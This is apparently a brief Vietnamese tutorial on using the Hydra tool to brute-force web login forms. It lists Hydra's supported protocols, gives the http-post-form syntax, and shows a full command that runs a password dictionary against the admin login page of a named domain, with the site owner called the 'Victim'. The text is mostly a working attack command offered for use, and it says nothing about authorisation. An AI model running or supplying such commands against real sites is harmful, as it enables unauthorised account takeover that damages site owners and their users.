Supported protocols: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd
OPT some service modules need special input (see README!)

Để brute force được form thì service chọn http-{get|post}-form chọn phương thức cho phù hợp(GET|POST).

Cú pháp:hydra -l {username} -P {password list path} -s {port} -f {Site Address} http-post-form "{Path to postback page}:{USERNAME_NAME}=^USER^&{PASSWORD_NAME}=^PASS^:{failed login text

VD:
Victim sử dụng phương thức POST
<form method="POST">
<input type="text" name="user" />
<inbut ... name="pass" />
<input type="submit" name="login" />
</form>

user=(user input)
pass=(user input)
submit=Login

hydra -l admin -P dictionary.txt vietmatrix.com http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:đăng nhập sai!"
